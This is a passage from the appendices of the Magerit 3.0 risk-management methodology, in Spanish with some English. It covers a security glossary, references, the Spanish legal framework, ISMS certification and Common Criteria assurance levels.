Residual Risk: The potential for the occurrence of an adverse event after
adjusting for the impact of all in-place safeguards. [TDIR:2003]
Salvaguarda Procedimiento o mecanismo tecnológico que reduce el riesgo.

Control: Medida que modifica un riesgo. [UNE-ISO Guía 73:2010]
Control: Means of managing risks, including policies, procedures, guide-
lines, practices or organizational structures, which can be of administrative,
technical, management or legal nature. [ISO/IEC 27000:2009]
Countermeasure: Anything which effectively negates or mitigates an ad-
versary's ability to exploit vulnerabilities. [OPSEC]

riesgo
Safeguard: Protective measures prescribed to meet the security require-
ments (i.e., confidentiality, integrity, and availability) specified for an infor-
mation system. Safeguards may include security features, management
constraints, personnel security, and security of physical structures, areas,
and devices. [800-53:2009]
Countermeasure: Action, device, procedure, technique, or other measure
that reduces the vulnerability of an information system. [CNSS:2003]
Security safeguard: Protective measures and controls prescribed to meet
the security requirements specified for an information system. Safeguards
may include security features, management constraints, personnel secu-
rity, and security of physical structures, areas, and devices. [CNSS:2003]
Countermeasure: Any action, device, procedure, technique, or other
measure that mitigates risk by reducing the vulnerability of, threat to, or im-
pact on a system. [TDIR:2003]
Seguridad La capacidad de las redes o de los sistemas de información de resistir, con

un determinado nivel de confianza, los accidentes o acciones ilícitas o ma-
lintencionadas que comprometan la disponibilidad, autenticidad, integridad
y confidencialidad de los datos almacenados o transmitidos y de los servi-
cios que dichas redes y sistemas ofrecen o hacen accesibles. [Reglamento
(CE) n 460/2004 del Parlamento Europeo y del Consejo, de 10 de marzo
de 2004, por el que se crea la Agencia Europea de Seguridad de las Re-
des y de la Información].
Information System Security: Protection of information systems against
unauthorized access to or modification of information, whether in storage,
processing or transit, and against the denial of service to authorized users,
including those measures necessary to detect, document, and counter
such threats. [CNSS:2003]
Seguridad de la Confianza en que los sistemas de información están libres y exentos de

información todo peligro o daño inaceptables. [UNE 71504:2008]
Sistema de infor- Los ordenadores y redes de comunicaciones electrónicas, así como los
mación datos electrónicos almacenados, procesados, recuperados o transmitidos
por los mismos para su operación, uso, protección y mantenimiento.
Conjunto organizado de recursos para que la información se pueda reco-
ger, almacenar, procesar (tratar), mantener, usar, compartir, distribuir, po-
ner a disposición, presentar o transmitir. [UNE 71504:2008]
Conjunto de elementos físicos, lógicos, elementos de comunicación, datos
y personal que permiten el almacenamiento, transmisión y proceso de la
información. [Magerit:1997]
Cualquier sistema o producto destinado a almacenar, procesar o transmitir
información. [CESID:1997]
Information System: Set of information resources organized for the collec-
tion, storage, processing, maintenance, use, sharing, dissemination, dispo-
sition, display, or transmission of information. [CNSS:2003]
Information System: Any procedure or process, with or without IT support,
that provides a way of acquiring, storing, processing or disseminating in-
formation. Information systems include applications and their supporting
infrastructure. [CRAMM:2003]
Tratamiento de Proceso destinado a modificar el riesgo. [UNE-ISO Guía 73:2010]

riesgos El proceso de selección e implantación de las medidas o salvaguardas pa-

riesgo
ra prevenir, impedir, reducir o controlar los riesgos identificados. [UNE
71504:2008]
Trazabilidad Aseguramiento de que en todo momento se podrá determinar quién hizo

qué y en qué momento. [UNE 71504:2008]
Propiedad o característica consistente en que las actuaciones de una enti-
dad pueden ser imputadas exclusivamente a dicha entidad. [ISO/IEC
7498-2:1989]
Responsabilidad: Cualidad que permite que todas las acciones realizadas
sobre un sistema de tecnología de la información sean asociadas de modo
inequívoco a un individuo o entidad. [CESID:1997]
Accountability: Process of tracing information system activities to a respon-
sible source. [CNSS:2003]
Valor De un activo. Es una estimación del coste inducido por la materialización

de una amenaza.
Cualidad que poseen algunas realidades, consideradas bienes, por lo cual
son estimables. [DRAE]
Valor acumulado Considera tanto el valor propio de un activo como el valor de los activos
que dependen de él.
Bienes de abolengo: Los heredados de los abuelos. [DRAE]
Vulnerabilidad Defecto o debilidad en el diseño, implementación u operación de un siste-

ma que habilita o facilita la materialización de una amenaza.
Propiedades intrínsecas de que algo se produzca como resultado de una
sensibilidad a una fuente de riesgo que puede conducir a un suceso con
una consecuencia. [UNE-ISO Guía 73:2010]
A weakness in design, implementation, operation or internal control.
[RiskIT-PG:2009]
A flaw or weakness in a system's design, implementation, or operation and
management that could be exploited to violate the system's security policy.
[RFC4949:2007]
Estimación de la exposición efectiva de un activo a una amenaza. Se de-
termina por dos medidas: frecuencia de ocurrencia y degradación causa-
da. [Magerit:2006]
Vulnerabilidad de un activo es la potencialidad o posibilidad de ocurrencia
de la materialización de una amenaza sobre dicho activo. [Magerit:1997]
Debilidad en la seguridad de un sistema de información. [CESID:1997]
Vulnerability: The susceptibility of information to exploitation by an adver-
sary. [OPSEC]
Vulnerability: Weakness in an information system, system security proce-
dures, internal controls, or implementation that could be exploited.
[CNSS:2003]
Vulnerability: A weakness or lack of controls that would allow or facilitate a
threat actuation against a specific asset or target. [CRAMM:2003]

A1.2. Términos anglosajones

Breve diccionario inglés-español de términos habituales en análisis y gestión de riesgos:
Acrónimos
ALE Annual Loss Expectancy
ARO Annual Rate of Occurrence
BIA Business Impact Analysis
GRC Governance, Risk Management, and Compliance
Accountability Trazabilidad
Authenticity Autenticidad
Availability Disponibilidad
Asset Activo
Business Impact Analysis Análisis de impacto
Compliance Cumplimiento
Confidentiality Confidencialidad
Countermeasure Contra medida
Frequency Frecuencia
Impact Impacto
Information security Seguridad de la información
Information security incident Incidente de seguridad
Information system Sistema de información
Integrity Integridad
Residual risk Riesgo residual
Risk Riesgo
Risk acceptance Aceptación de riesgos
Risk analysis Análisis de riesgos
Risk assessment Análisis de riesgos
Risk management Gestión de riesgos
Risk map Mapa de riesgo
Risk treatment Tratamiento del riesgo
Safeguard Salvaguarda
Security Seguridad
Statement of applicability Documento de selección de controles
Traceability Trazabilidad
Threat Amenaza
Value Valor
Vulnerability Vulnerabilidad

A1.3. ISO – Gestión del riesgo

La definiciones de ISO en lo que respecta a riesgos se recogen en la guía [ISO 73]
Definiciones
Riesgo
Efecto de la incertidumbre sobre la consecución de los objetivos.
NOTA 1 – Un efecto es una desviación, positiva y/o negativa, respecto a lo previsto.
NOTA 2 – Los objetivos pueden tener diferentes aspectos (tales como financieros, de
salud y seguridad, o ambientales) y se pueden aplicar a diferentes niveles (tales como
nivel estratégico, nivel de un proyecto, de un producto, de un proceso o de una organi-
zación completa).
NOTA 3 – Con frecuencia, el riesgo se caracteriza por referencia a sucesos potencia-
les y a sus consecuencias, o a una combinación de ambos.
NOTA 4 – Con frecuencia, el riesgo se expresa en términos de combinación de las
consecuencias de un suceso (incluyendo los cambios en las circunstancias) y de su
probabilidad.
NOTA 5 – La incertidumbre es el estado, incluso parcial, de deficiencia en la informa-
ción relativa a la comprensión o al conocimiento de un suceso, de sus consecuencias
o de su probabilidad.
Proceso de gestión del riesgo
Aplicación sistemática de políticas, procedimientos y prácticas de gestión a las activi-
dades de comunicación, consulta, establecimiento del contexto, e identificación, análi-
sis, evaluación, tratamiento, seguimiento y revisión del riesgo.
Dueño del riesgo
Persona o entidad que tiene la responsabilidad y autoridad para gestionar un riesgo.
Tratamiento del riesgo
Proceso destinado a modificar el riesgo.
NOTA 1 – El tratamiento del riesgo puede implicar:
— evitar el riesgo, decidiendo no iniciar o continuar con la actividad que motiva el
riesgo;
— aceptar o aumentar el riesgo con objeto de buscar una oportunidad;
— eliminar la fuente de riesgo;
— cambiar la probabilidad;
— cambiar las consecuencias;
— compartir el riesgo con otra u otras partes [incluyendo los contratos y la financia-
ción del riesgo]; y
— mantener el riesgo en base a una decisión informada.
NOTA 2 – Los tratamientos del riesgo que conducen a consecuencias negativas, en
ocasiones se citan como “mitigación del riesgo”, “eliminación del riesgo”, “prevención
del riesgo” y “reducción del riesgo”.
NOTA 3 – El tratamiento del riesgo puede originar nuevos riesgos o modificar los ries-
gos existentes.

Apéndice 2. Referencias
Arreglo 2000
“Arreglo sobre el Reconocimiento de los Certificados de Criterios Comunes en el campo de la
Seguridad de las Tecnologías de la Información”, Mayo, 2000.
BSI
Federal Office for Information Security (BSI). “IT Baseline Protection Manual”, October 2003.
Germany.
http://www.bsi.de/gshb/english/etc/index.htm
CC
Comon Criteria. Ver [ISO 15408].
CEM
Common Evaluation Methodology. Ver [ISO 18045].
CESID
Centro Superior de Información de la Defensa, “Glosario de Términos de Criptología”, Ministe-
rio de Defensa, 3ª edición, 1997.
CIAO
Critical Infrastructure Assurance Office, “Practices for Securing Critical Information Assets”,
January 2000.
CNSS
Committee on National Security Systems, Instruction No. 4009, “National Information Assuran-
ce (IA) Glossary“, May 2003.
CRAMM
“CCTA Risk Analysis and Management Method (CRAMM)”, Version 5.0, 2003.
DARPA 1601
“The Vulnerability Assessment and Mitigation Methodology”, P.S. Antón et al., RAND National
Defense Research Institute, MR-1601-DARPA, 2003.
DRAE
Real Academia Española. Diccionario de la Lengua Española. 22.ª edición, 2001.
http://buscon.rae.es/diccionario/drae.htm
EA-7
European Co-Operation for Accreditation, “Guidelines for the Accreditation of Bodies Operating
Certification / Registration of Information Security Management Systems”, EA-7/03, February
2000.
EBIOS
“Méthode pour l’Expression des Besoins et l’Identification des Objectifs de Sécurité”. Service
Central de la Sécurité des Systèmes d'Information. France.
GAO
United States General Accounting Office, Accounting and Information Management Division,
“Information Security Risk Assessment — GAO Practices of Leading Organizations.
ISO 73
ISO Guide 73:2009, “Risk management — Vocabulary”.
UNE-ISO Guía 73:2010, “Gestión del riesgo. Vocabulario”.
ISO 7498-2
ISO 7498-2:1989, “Information processing systems — Open Systems Interconnection — Basic
Reference Model — Part 2: Security Architecture”.

ISO 15408
ISO/IEC 15408:2009, “Information technology — Security techniques — Evaluation criteria for
IT security”.
ISO 15443-1
ISO/IEC TR 15443-1:2005, “Information technology — Security techniques — A framework for
IT security assurance -- Part 1: Overview and framework”.
ISO 18043
ISO/IEC 18043:2006, “Information technology — Security techniques — Selection, deployment
and operations of intrusion detection systems”.
ISO 18045
ISO/IEC 18045:2008, “Information technology — Security techniques — Methodology for IT
security evaluation”.
ISO 27000
ISO/IEC 27000:2009, “Information technology — Security techniques — Information security
management systems — Overview and vocabulary”.
ISO 27001
management systems — Requirements”
UNE-ISO/IEC 27001:2007, “Tecnología de la información. Técnicas de seguridad. Sistemas de
Gestión de la Seguridad de la Información (SGSI). Requisitos”
ISO 27002
ISO/IEC 27002:2005, “Information technology — Security techniques — Code of practice for
information security management”.
UNE-ISO/IEC 27002:2009, “Tecnología de la Información. Código de Buenas Prácticas de la
Gestión de la Seguridad de la Información”.
ISO 27005
risk management”.
ISO 31000
ISO 31000:2009, “Risk management — Principles and guidelines”.
UNE-ISO 31000:2010, “Gestión del riesgo. Principios y directrices”.
ISO 31010
ISO/IEC 31010:2009, “Risk management — Risk assessment techniques”.
UNE-ISO/IEC 31010:2010, “Gestión del riesgo. Técnicas de apreciación del riesgo”.
ISO 38500
ISO/IEC 38500:2008. “Corporate governance of information technology”.
ITSEC
European Commission, “Information Technology Security Evaluation Criteria”, version 1.2,
1991.
Magerit:1997
Ministerio de Hacienda y Administraciones Públicas, “Metodología de Análisis y Gestión de
Riesgos de los Sistemas de Información - Versión 1”, 1997.
Magerit:2006
Ministerio de Hacienda y Administraciones Públicas, “Metodología de Análisis y Gestión de
Riesgos de los Sistemas de Información – Versión 2”, 2006.
NIST 800-27
NIST, “Engineering Principles for Information Technology Security (A Baseline for Achieving
Security)”, SP 800-27 Rev. A, June 2004.

NIST 800-30
NIST, “Risk Management Guide for Information Technology Systems”, SP 800-30, 2Jul. 002.
NISR, “DRAFT Guide for Conducting Risk Assessments”, SP 800-30 Rev.1, Sept. 2011.
NIST 800-37
NIST, “Guide for Applying the Risk Management Framework to Federal Information Systems: A
Security Life Cycle Approach”, SP 800-37 Rev.1, Feb. 2010
NIST 800-39
NIST, “Managing Information Security Risk: Organization, Mission, and Information System
View”, SP 800-39, Mar. 2011
NIST 800-53
NIST, “Recommended Security Controls for Federal Information Systems”, National Institute of
Standards and Technology, special publication SP 800-53 Rev.3, Aug. 2009.
NIST 800-64
NIST, “Security Considerations in the Information System Development Life Cycle”, SP 800-64
Rev.2, Oct. 2008.
NSTISS
National Security Telecommunications and Information Systems Security Committee, “Index of
National Security Telecommunications Information Systems Security Issuances”, NSTISSI no.
4014, NSTISSC Secretariat, 1998.
OCDE
Directrices de la ocde para la seguridad de sistemas y redes de información : hacia una cultura
de seguridad. 2004
Octave
C. Alberts and A. Dorofee, “Managing information Security Risks. The OCTAVE Approach”,
Addison Wesley, 2003.
OPSEC
OPSEC Glossary of Terms,
http://www.ioss.gov/docs/definitions.html
Peltier 2001
T.R. Peltier, “Information Security Risk Analysis”, Auerbach Pub; 1st edition (January 23, 2001)
PILAR
“Procedimiento Informático-Lógico para el Análisis de Riesgos”. Centro Criptológico Nacional.
Centro Nacional de Inteligencia. Ministerio de Presidencia. España.
RD 3/2010
Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguridad
en el ámbito de la Administración Electrónica.
RD 1720/2007
Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desa-
rrollo de la Ley Orgánica 15/1999, de 13 de diciembre, de protección de datos de carácter per-
sonal.
Ribagorda
A. Ribagorda, “Glosario de Términos de Seguridad de las T.I.”, Ediciones CODA, 1997.
RIS2K
Soporte de Magerit v1.0. Ministerio de Hacienda y Administraciones Públicas. España.
RiskIt-F
ISACA, “The Risk IT Framework”, 2009.
RiskIt-PG
ISACA, “The Risk IT Practitioner Guide”. 2009.

TCSEC
Department of Defense, “Trusted Computer System Evaluation Criteria”, DOD 5200.28-STD,
Dec. 1985.
TDIR:2003
Texas Department of Information Resources, “Practices for Protecting Information Resources
Assets“, Revised September 2003.
UNE 71504
UNE 71504:2008, “Metodología de análisis y gestión de riesgos para los sistemas de informa-
ción”.

Magerit 3.0 Marco legal
Apéndice 3. Marco legal

En este apéndice se apunta cierta normativa legal, nacional e internacional, relevante al caso del
análisis y gestión de riesgos, bien por exigirlo, bien por sustentarlo, bien por ser de utilidad en el
Proceso de Gestión de Riesgos. La relación no pretende ser exhaustiva, amén de estar sujeta a
un proceso legislativo activo, por lo que es obligación del responsable prestar atención a las no-
vedades que vayan apareciendo..
Se han incluido algunas referencias a acuerdos de carácter político o de otra naturaleza a los cua-
les conviene también prestar atención. Por ejemplo, las Guías de la OCDE.
A3.1. Seguridad en el ámbito de la Administración electrónica

• Ley 30/1992, de 26 de noviembre, de Régimen Jurídico de las Administraciones Públicas y
del Procedimiento Administrativo Común, LRJ-PAC.
• Ley 11/2007, de 22 de junio, de acceso electrónico de los ciudadanos a los Servicios Públi-
cos.
• Real Decreto 3/2010, de 8 de enero, por el que se regula el Esquema Nacional de Seguri-
dad en el ámbito de la Administración Electrónica. BOE de 29 de enero de 2010.
• Corrección de errores del Real Decreto 3/2010, de 8 de enero, por el que se regula el Es-
quema Nacional de Seguridad en el ámbito de la Administración Electrónica. BOE de 11 de
marzo de 2010.
• Real Decreto 4/2010, de 8 de enero, por el que se regula el Esquema Nacional de Interope-
rabilidad en el ámbito de la Administración Electrónica. BOE de 29 de enero 2010.
A3.2. Protección de datos de carácter personal

• LOPD, Ley Orgánica 15/1999, de 13 de diciembre, de Protección de Datos de Carácter Per-
sonal.
• Real Decreto 1720/2007, de 21 de diciembre, por el que se aprueba el Reglamento de desa-
personal.
A3.3. Firma electrónica

• Ley 59/2003, de 19 de diciembre, de firma electrónica.
• Ley 66/1997, de 30 de diciembre, de Medidas Fiscales, Administrativas y del Orden Social;
art. 81.
• Real Decreto 1317/2001, de 30 de noviembre, por el que se desarrolla el artículo 81 de la
Ley 66/1997, de 30 de diciembre, de Medidas Fiscales, Administrativas y del Orden Social,
en materia de prestación de servicios de seguridad por la Fábrica Nacional de Moneda y
Timbre-Real Casa de la Moneda, en las comunicaciones a través de técnicas y medios elec-
trónicos, informáticos y telemáticos, con las Administraciones Públicas.
A3.4. Información clasificada

• Ley 9/1968, de 5 de abril, sobre Secretos Oficiales.
• Decreto 242/1969, de 20 de Febrero. por el que se desarrollan las disposiciones de la Ley
9/1968. de 5 de abril sobre Secretos Oficiales.
• Ley 48/1978, de 7 de octubre, que modifica la Ley 9/1968, de 5 de abril, sobre secretos ofi-
ciales.

Magerit 3.0 Marco legal
• Orden Ministerial número 76/2002, de 18 de abril, por la que se establece la política de se-
guridad para la protección de la información del Ministerio de Defensa almacenada, proce-
sada o transmitida por sistemas de información y telecomunicaciones.
• LEY 11/2002, de 6 de mayo, reguladora del Centro Nacional de Inteligencia.
• Real Decreto 421/2004, de 12 de marzo, por el que se regula el Centro Criptológico Nacio-
nal.
• Decisión del Consejo de 19 de marzo de 2001, por la que se adoptan las normas de seguri-
dad del Consejo (2001/264/EC)
• Decisión de la Comisión de 29 de noviembre de 2001, por la que se modifica su Reglamento
interno (2001/844/CE, CECA, Euratom)
A3.5. Seguridad de las redes y de la información

• COM(2001)298 final -- Seguridad de las redes y de la información: Propuesta para un enfo-
que político europeo
• OCDE: Directrices para la seguridad de los sistemas y redes de información - Hacia una cul-
tura de seguridad

Magerit 3.0 Evaluación y certificación
Apéndice 4. Marco de evaluación y certificación

La complejidad de los sistemas de información conlleva un gran esfuerzo para determinar la cali-
dad de las medidas de seguridad de que se ha dotado y la confianza que merecen. Es frecuente
la aparición de terceras partes que de forma independiente emiten juicios sobre dichos aspectos,
juicios que se emiten tras una evaluación rigurosa y que se plasman en un documento reconocido.
En este capítulo se repasan someramente dos marcos en los que se ha formalizado el proceso de
evaluación y certificación (o registro):
• en los sistemas de gestión de la seguridad de la información
• en los productos de seguridad
Para cada uno de estos marcos se indica su oportunidad, la forma de organizarse para alcanzar la
certificación y el marco administrativo y normativo en el que se desarrolla la actividad.
A4.1. Sistemas de gestión de la seguridad de la información (SGSI)

Se define “sistema de gestión” como lo que la Organización hace para gestionar sus procesos o
actividades, de forma que los productos que fabrica o los servicios que presta satisfagan los obje-
tivos que la propia organización de ha marcado, típicamente
• satisfacer la calidad demandada por los clientes
• cumplir con las obligaciones legales, regulatorias y contractuales
Dentro del sistema de gestión de una Organización, se entiende por “sistema de gestión de la se-
guridad de la información” (SGSI) la parte relacionada con la seguridad de la información. Es habi-
tual entender que los sistemas de gestión deben ajustarse al llamado ciclo de Denning (PDCA),
habitual en sistemas de gestión de la calidad:
P – Plan – Se establecen objetivos y se preparan planes para alcanzarlos. Esto incluye anali-
zar la situación de la Organización: dónde estamos y dónde queremos estar.
D – Do – Se ejecutan los planes.
C – Check – Se evalúan los resultados obtenidos para determinar en qué medida se han al-
canzado los objetivos propuestos.
A – Act – A fin de estar cada día mejor (mejora continua), se actualizan los planes y su implan-
tación.
Plan
planificación
planificación
Act Do
mantenimiento
mantenimiento implementación
implementación
yymejora
mejora yyoperación
operación
Check
monitorización
monitorización
yyevaluación
evaluación
Ilustración 22. Ciclo PDCA

La planificación (P de Plan) debe incluir una política de seguridad que marque objetivos y un aná-
lisis de riesgos que modele el valor del sistema, su exposición a amenazas, y lo que se tiene (o se
necesita) para mantener el riesgo bajo control. Es natural que con estas bases se genere un plan
de seguridad razonado para la gestión de riesgos.
La acción (D de Do) es la ejecución del plan, en sus aspectos técnicos y de organización, involu-
crando a las personas que se hacen cargo del sistema o están relacionadas con éste. Un plan tie-
ne éxito cuando lleva a una operación diaria sin sorpresas.
La monitorización (C de Check) de la operación del sistema parte del hecho de que no se puede
confiar ciegamente en la eficacia de las medidas, sino que continuamente hay que evaluar si res-
ponden a lo esperado con la eficacia deseada. Hay que medir tanto lo que ocurre como lo que
ocurriría si no se hubieran tomado medidas. A veces se habla del “coste de la inseguridad” como
justificación de que el gasto de dinero y esfuerzo tiene fundamento. Y hay que atender a las nove-
dades que se produzcan, tanto en cuanto a modificaciones del propio sistema de información, co-
mo a nuevas amenazas.
La reacción (A de Act) es saber derivar consecuencias de la experiencia, propia y de sistemas si-
milares, repitiendo el ciclo PDCA.
La evaluación de un sistema de gestión de la seguridad parte del supuesto de que el esquema
anterior vertebra las actuaciones de la Organización en materia de seguridad, y juzga la eficacia
de los controles implantados para alcanzar asegurarnos de que se alcanzan los objetivos propues-
tos.
Nótese que un sistema de gestión maduro debe estar documentado en todos sus aspectos. Es
típico de organizaciones inmaduras que las actividades se realizan siguiendo normas y procedi-
mientos que se sobreentienden o están en la cabeza de las personas. Sólo cuando todo figura por
escrito podemos hablar de un sistema de gestión que puede ser objeto de una certificación.
A4.1.1. La certificación
Certificar un sistema de gestión de la seguridad consiste en que alguien, externo a la Organiza-
ción y acreditado para la tarea, afirma que ha auditado el sistema y lo considera ajustado a la
norma correspondiente. En el caso que nos ocupa, la norma es la UNE-ISO/IEC 27001:2007.
El que certifica compromete en ello su palabra (por escrito). Con todas las cautelas de alcance y
tiempo que se consideren oportunas (y se recojan explícitamente). Y sabiendo que lo que se ase-
gura hoy, hay que revisarlo a medio plazo pues todo evoluciona.
Para obtener un certificado hay que seguir una serie de formalismos. Sin entrar en excesivo deta-
lle nos centraremos en qué evalúa el equipo que envía el organismo de certificación a juzgar a la
Organización.
Lo primero que hay que hacer es delimitar el alcance de lo que se va a evaluar como “Sistema de
Gestión de la Seguridad de la Información”. Esta es una delimitación propia de cada Organización,
que refleja su misión y su organización interna. Es importante delimitar con claridad. Si el períme-
tro es difuso no quedará claro qué hay que hacer en los pasos siguientes; en particular, no se sa-
brá muy bien a qué personas y departamentos hay que dirigirse para reclamar la información per-
tinente. Nótese que esto puede no ser evidente. Actualmente es raro encontrar una organización
cerrada desde el punto de vista de sus sistemas de información: la externalización de servicios, la
administración electrónica y el comercio electrónico han diluido las fronteras. Por otra parte, el or-
ganigrama interno rara vez responde a las responsabilidades en seguridad.
Lo siguiente que hay que tener claro, escrito y mantenido es la política de seguridad corporativa. A
menudo la política de seguridad incluye la relación de la legislación que afecta. Es absolutamente
necesario delimitar el marco legislativo y regulatorio al que hay que atenerse.
Todo debe estar escrito. Y bien escrito: se entiende, es coherente, se divulga, es conocido por los
involucrados y se mantiene al día. Un proceso de certificación siempre tiene un fuerte componente
de revisión de documentación.
Antes de que venga el equipo evaluador, hay que tener una foto del estado de riesgo de la Orga-
nización. Es decir, que hay que hacer un análisis de riesgos identificando activos, valorándolos,
identificando y valorando las amenazas significativas. En este proceso se determina qué salva-
guardas requiere el sistema y con qué calidad. Cada caso es un mundo aparte: ni todo el mundo
tiene los mismos activos, ni valen lo mismo, ni están igualmente interconectados, ni todo el mundo
está sujeto a las mismas amenazas, ni todo el mundo adopta la misma estrategia para protegerse.
El análisis de riesgos es una herramienta (imprescindible) de gestión. Por hacer o dejar de hacer
un análisis de riesgos no se está ni más ni menos seguro: simplemente, se sabe dónde se está. A
partir de este conocimiento podemos tomar decisiones de tratamiento y ejecutarlas.
Los resultados del análisis de riesgos permiten justificar las decisiones de tratamiento del riesgo.
Todo esto deberá ser verificado por el equipo evaluador que, de quedar satisfecho, avalará la
concesión del certificado.
El equipo evaluador inspecciona el sistema de información que se desea certificar contrastándolo
con una referencia reconocida que permita objetivar la evaluación a fin de evitar cualquier tipo de
arbitrariedad o subjetividad y permitir la utilización universal de las certificaciones emitidas. Se uti-
liza un “esquema de certificación” (en el caso que nos ocupa, la norma UNE-ISO/IEC
27001:2007).
La norma 27001 tiene por objeto la especificación de “los requisitos para establecer, implantar,
documentar y evaluar un Sistema de Gestión de la Seguridad de la Información con independen-
cia de su tipo, tamaño o área de actividad.”
A4.1.2. La acreditación de la entidad certificadora

La credibilidad del certificado es la confianza que merezca el certificador. ¿Cómo se construye
esta confianza?
Un componente esencial es la credibilidad del esquema de certificación. Un segundo componente
es la credibilidad de la organización que emite los certificados. Esta organización es responsable
de la competencia del equipo evaluador y de la ejecución del proceso de evaluación. Para certifi-
car que estas responsabilidades se cumplen se procede al llamado “proceso de acreditación”
donde una nueva organización evalúa al evaluador. En España, la organización encargada de
acreditar organismos certificadores es ENAC, que se acoge a la normativa internacional de reco-
nocimiento mutuo de certificados emitidos por diferentes certificadores en diferentes países.
A4.1.3. Terminología
Se recogen a continuación los términos usados en las actividades de certificación de sistemas de
información, tal y como se entienden en este contexto.
Acreditación
Procedimiento mediante el cual un Organismo autorizado reconoce formalmente que una
organización es competente para la realización de una determinada actividad de evaluación
de la conformidad.
Auditoría
Ver “evaluación”.
Certificación
El objetivo de la certificación es “declarar públicamente que un producto, proceso o servicio
es conforme con requisitos establecidos” .
Certification: A comprehensive assessment of the management, operational, and technical
security controls in an information system, made in support of security accreditation, to de-
termine the extent to which the controls are implemented correctly, operating as intended,
and producing the desired outcome with respect to meeting the security requirements for the
system. [NIST 800-37]
Documento de certificación (o registro)
Documento que afirma que el sistema de gestión de la seguridad de la información (SGSI)
de una organización es conforme a la normativa de referencia adaptada a la singularidad de
la organización certificada.
Documento de selección de controles
Documento que describe los objetivos de control y los controles relevantes y aplicables al
Sistema de Gestión de la Seguridad de la Información de la organización. Éste documento
debe estar basado en los resultados y conclusiones del proceso de análisis y gestión de
riesgos.

Esquema de certificación
Marco técnico y administrativo que establece la referencia de trabajo frente a la que se con-
trasta el cumplimiento de la organización sometida a evaluación, se emite el certificado o re-
gistro y se mantiene actualizado y válido.
Evaluación
Conjunto de actividades que permiten determinar si la organización satisface los criterios
aplicables dentro del esquema de certificación. Incluye actividades preparatorias, revisión de
la documentación, inspección del sistema de información y la preparación de la documenta-
ción pertinente para la emisión del certificado de conformidad, si procede.
Organismo de certificación (o registro)
Entidad que, a la vista del informe de evaluación, certifica (o registra) la satisfacción por la
organización de los requisitos establecidos en el esquema de certificación.
Organismos de evaluación de la conformidad
Son los encargados de evaluar y realizar una declaración objetiva de que los servicios y
productos cumplen unos requisitos específicos, ya sean del sector reglamentario o del vo-
luntario.
Sistema de gestión
Conjunto de recursos que utiliza una organización para alcanzar sus. El sistema de ges-
tión incluye aspectos tan diversos como
— la estructura organizativa,
— la definición y asignación de responsabilidades,
— la documentación: política(s), normativa, procedimientos, guías, instrucciones, etc.
— la planificación de actividades.
Sistema de gestión de la seguridad de la información
Parte del sistema de gestión que, basado en los riesgos para el negocio, establece, imple-
menta, opera, monitoriza, revisa, mantiene y mejora la seguridad de la información.
Política de seguridad
Conjunto de normas reguladoras, reglas y prácticas que determinan el modo en que los acti-
vos, incluyendo la información considerada como sensible, son gestionados, protegidos y
distribuidos dentro de una organización.
A4.2. Criterios comunes de evaluación (CC)

La necesidad de evaluar la seguridad de un sistema de información aparece muy temprano de la
mano de los procesos de adquisición de equipos del Departamento de Defensa de los EEUU que,
en 1983, publica el llamado “Libro Naranja” (TCSEC – Trusted Computer System Evaluation Crite-
ria). El objetivo es especificar sin ambigüedad qué se necesita por parte del comprador y qué se
ofrece por parte del vendedor, de forma que no haya malentendidos sino un esquema transparen-
te de evaluación, garantizando la objetividad de las adquisiciones.
La misma necesidad lleva a la aparición de iniciativas europeas como ITSEC (Information Techno-
logy Security Evaluation Criteria). A mediados de los años 90, existe en el mundo una proliferación
de criterios de evaluación que dificulta enormemente el comercio internacional, llegándose a un
acuerdo de convergencia que recibe el nombre de “Common Criteria for Information Technology
Security Evaluation”, normalmente conocidos como “Criterios Comunes” o por sus siglas, CC.
Los CC, además de la necesidad de un entendimiento universal, capturan la naturaleza cambiante
de las tecnologías de la información que, en el periodo desde 1980, han pasado de estar centra-
das en los equipos de computación, a englobar sistemas de información mucho más complejos.
Los CC permiten

1. definir las funciones de seguridad 35 de los productos y sistemas (en tecnologías de la infor-
mación) y
2. determinar los criterios para evaluar [la calidad] de dichas funciones.
Es esencial la posibilidad que los CC abren para que la evaluación sea objetiva y pueda realizarse
por una tercera parte (ni por el proveedor, ni por el usuario) de forma que la elección de salva-
guardas adecuadas se vea notablemente simplificada para las organizaciones que necesitan miti-
gar sus riesgos.
La administración española, y otras muchas, reconocen las certificaciones de seguridad emitidas
en otros países en base al “Arreglo sobre el Reconocimiento de los Certificados de Criterios Co-
munes en el Campo de la Tecnología de la Información” 36 .
La evaluación de un sistema es la base para su certificación. Para certificar es necesario disponer de
1. unos criterios, que definen el significado de los elementos que se van a evaluar
2. una metodología, que marque cómo se lleva a cabo la evaluación
3. un esquema de certificación 37 que fije el marco administrativo y regulatorio bajo el que se
realiza la certificación
Ilustración 23. Proceso de certificación
De esta forma se puede garantizar la objetividad del proceso; es decir, construir la confianza en
que los resultados de un proceso de certificación son válidos universalmente, independientemente
de dónde se realice la certificación.
Dado que [la calidad de] la seguridad requerida de un sistema no es siempre la misma, sino que
depende de para qué se quiera emplear, CC establece una escala de niveles de aseguramiento 38 :
EAL0: sin garantías
EAL1: probado funcionalmente
35 En CC se emplea una terminología propia, rigurosa pero no siempre intuitiva. Más adelante se recoge la
definición precisa de cada término en el contexto de los CC.
36 El día 23 de mayo de 2000 tuvo lugar en Baltimore (Maryland, Estados Unidos) la ratificación de la ad-
hesión de Alemania, Australia, Canadá, España, Estados Unidos, Finlandia, Francia, Grecia, Italia, No-
ruega, Nueva Zelanda, Países Bajos y Reino Unido, al Arreglo sobre el Reconocimiento de los Certifica-
dos de Criterios Comunes en el campo de la Seguridad de la Tecnología de la Información (en lo sucesi-
vo Arreglo). Posteriormente, se han incorporado Israel, Suecia, Austria, Turquía, Hungría, Japón, Repú-
blica Checa, Corea, Singapur e India. Véase http://www.csi.map.es/csi/pg3433.htm.
37 El Real Decreto 421/2004 de 12 de marzo, regula las funciones del Centro Criptológico Nacional, entre
cuyas funciones aparece la de “constituir el organismo de certificación del esquema nacional de evalua-
ción y certificación de la seguridad de las tecnologías de información, de aplicación a productos y siste-
mas en su ámbito.” El esquema nacional puede encontrarse en http://www.oc.ccn.cni.es/ .
38 EAL: Evaluation Assurance Level
EAL2: probado estructuralmente
EAL3: probado y chequeado metódicamente
EAL4: diseñado, probado y revisado metódicamente
EAL5: diseñado y probado semi-formalmente
EAL6: diseñado, probado y verificado semi-formalmente
EAL7: diseñado, probado y verificado formalmente
Los niveles superiores requieren un mayor esfuerzo de desarrollo y de evaluación, ofreciendo a
